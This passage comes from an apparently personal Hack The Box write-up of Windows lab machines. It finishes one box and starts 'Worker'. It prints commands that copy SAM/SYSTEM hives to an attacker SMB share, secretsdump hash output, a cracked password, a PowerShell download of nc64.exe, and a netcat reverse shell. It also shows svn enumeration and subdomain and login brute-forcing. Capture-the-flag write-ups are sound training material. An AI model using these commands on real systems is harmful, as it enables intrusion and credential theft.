class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds = Import-Clixml -Path C:\data\users\administrator\root.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds.GetNetworkCredential().password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0373.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The prerequisite for this technique was having the privileges of the user who created the encrypted content. If user.txt in the app folder had been created by administrator, my current user would have been able to decrypt it. Unfortunately, invoking it produced an error and it could not be decrypted. This was where dpapi was needed. dpapi allows passwords to be used across users and computers, so I could obtain the relevant key and try to decrypt it. For example, because I was administrator, I could decrypt root.txt. But decrypting user.txt under app produced an error because I was not the app user.&lt;/p&gt;&#10;&lt;p&gt;So now I needed the app user&amp;rsquo;s credentials. I really should have used the method below earlier; it is a fairly standard approach.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg save HKLM\SYSTEM system.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg save HKLM\SAM sam.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbserver.py kali . -smb2support&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy .\sam.hiv \\10.10.16.14\kali\sam.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy .\system.hiv \\10.10.16.14\kali\system.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;app:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Cleaning up...&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0374.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;app:mesh5143&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It seemed that runas could not switch users, and even though the target had port 5985 open, I could not use evil-winrm either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0375.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Even when I got it working, it had no effect, because these two environments did not seem to be the same. I still had to go through the web service on port 8080 to reach that NFS-mounted directory. I still did not understand how this environment was implemented. Was it a USB device or a remote service? The data window was mounted from somewhere, anyway. I would need to study it properly once I was finished.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0376.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I uploaded another copy of nc to the app directory because app did not have permission to access the previous one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\app\\nc64.exe 10.10.16.14 8888 -e C:\Windows\System32\cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Getting the flag:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds = Import-Clixml -Path C:\Data\Users\app\user.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds.GetNetworkCredential().password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;There were still a few unanswered questions, though.&lt;/p&gt;&#10;&lt;p&gt;First: I remembered that when decrypting, importing that user&amp;rsquo;s credentials might also let me decrypt it directly, without switching users.&lt;/p&gt;&#10;&lt;p&gt;Second: runas was the only method I knew for switching users, and it was also the only method I could find on google. I wanted to see whether there was a more convenient way.&lt;/p&gt;&#10;&lt;p&gt;Third: what exactly did this environment look like?&lt;/p&gt;&#10;&lt;p&gt;Starting with the first question, I googled for a long time without finding an answer, so I decided to ask claude.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0377.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The second question:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec -u app -p password powershell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$username = &amp;#34;app&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$password = ConvertTo-SecureString &amp;#34;password&amp;#34; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential($username, $password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 1: Invoke-Command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock { COMMAND_TO_RUN } -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 2: Start-Process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process powershell -Credential $cred -ArgumentList &amp;#34;COMMAND_TO_RUN&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The third question:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0378.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I have to say, that really was impressive.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0379.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0380.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, the logic was crystal clear.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IoT Core is the management layer controlling access to the USB device, which is the data directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Port 8080 exposes the IoT Core management interface, the Windows Device Portal mentioned earlier&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The main application runs on port 28080&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Credentials recovered through the web interface on port 8080 are required to access the data directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Attacker --&amp;gt; port 8080 management interface --&amp;gt; USB device --&amp;gt; data directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I have to say, this box had a lot of character. It revolved around Windows-specific services and expanded on them really well.&lt;/p&gt;&#10;&lt;h2 id="17worker"&gt;&lt;a href="#17worker" class="header-anchor"&gt;&lt;/a&gt;17.Worker&#10;&lt;/h2&gt;&lt;p&gt;I got stuck while trying to get a shell, so this is for practice only.&lt;/p&gt;&#10;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0381.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0382.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0383.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing on port 80, so I left a brute-force scan running in the background.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0384.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 3690 was running an svnserve service.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/3690-pentesting-subversion-svn-server" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/network-services-pentesting/3690-pentesting-subversion-svn-server&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That page has payloads for svnserve, and it even uses this same machine as its example.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn ls svn://10.10.10.203 #list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn log svn://10.10.10.203 #Commit history&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn checkout svn://10.10.10.203 #Download the repository&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn up -r 2 #Go to revision 2 inside the checkout folder&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I added the domain to hosts.&lt;/p&gt;&#10;&lt;p&gt;I got the source code, but it was just a static front-end site. I figured it was probably meant to give me a hint. At &lt;a class="link" href="http://dimension.worker.htb/#work" target="_blank" rel="noopener"&#10; &gt;http://dimension.worker.htb/#work&lt;/a&gt;, I found a bunch of subdomains.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0385.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I opened them and added them to hosts, while continuing to brute-force subdomains.&lt;/p&gt;&#10;&lt;p&gt;The ones I added to hosts all seemed to be static front-end pages from &lt;a class="link" href="http://html5up.net/" target="_blank" rel="noopener"&#10; &gt;http://html5up.net/&lt;/a&gt;. JSFinder.py did not find anything for these domains either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0386.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.203 -H &amp;#34;Host: FUZZ.worker.htb&amp;#34; --hh 703&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0387.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0388.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looks like brute forcing was still necessary, though I generally do not like it because it makes everything lag.&lt;/p&gt;&#10;&lt;p&gt;First, I used cewl to generate a wordlist from all the domains, then took a look at the request.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0389.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It used the NTLM protocol, which looked a little troublesome, but two other protocols were shown on the right. It seemed like they could be used for authentication, so I Googled it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/aspnet/web-api/overview/security/basic-authentication" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/aspnet/web-api/overview/security/basic-authentication&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0390.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So I could construct the request using Basic authentication.&lt;/p&gt;&#10;&lt;p&gt;If I used this wordlist for both usernames and passwords, that would be 1800*1800 combinations—far too many. So I decided to look for a few likely usernames instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0391.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The framework turned out to be Azure DevOps Server, so I planned to use that clue to find usernames.&lt;/p&gt;&#10;&lt;p&gt;Meanwhile, ffuf was still running and gave me another result.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0392.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Of course, there was still nothing there. I started brute forcing the Azure DevOps Server. I could not find a default username, so I tried a few simple ones.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0393.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I also tried brute forcing directories on the service. At the same time, I kept svnserve in mind. I still was not entirely sure what it did, since I had only used commands provided by exploits before. It could retrieve the source code of the default page; if it could also retrieve the source for devops.worker.htb, I felt I would be very close to the target.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0394.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had not read carefully enough. When I went back to svnserve, I noticed that it had actually mentioned this.&lt;/p&gt;&#10;&lt;p&gt;I did not know what use the static front-end source was. After looking more carefully at the commands, though, I realized I might have missed something obvious.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn ls svn://10.10.10.203 #list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn log svn://10.10.10.203 #Commit history&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn checkout svn://10.10.10.203 #Download the repository&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn up -r 2 #Go to revision 2 inside the checkout folder&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There was very little relevant information available. My understanding was that an SVN repository is somewhat like one on GitHub: changes can be committed many times, and I can retrieve the results of those updates and update my local repository. At least, that was what my own testing seemed to show.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn log svn://10.10.10.203&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0395.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an r1-r5 entry near the end, so I looked up the following command.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn up -r 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0396.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It is actually short for update: it updates the selected target revision in the local copy.&lt;/p&gt;&#10;&lt;p&gt;I had just downloaded the first revision. I started updating to revisions 2, 3, 4, and 5 to see what was different.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0397.zh.webp" alt="" loading="lazy" 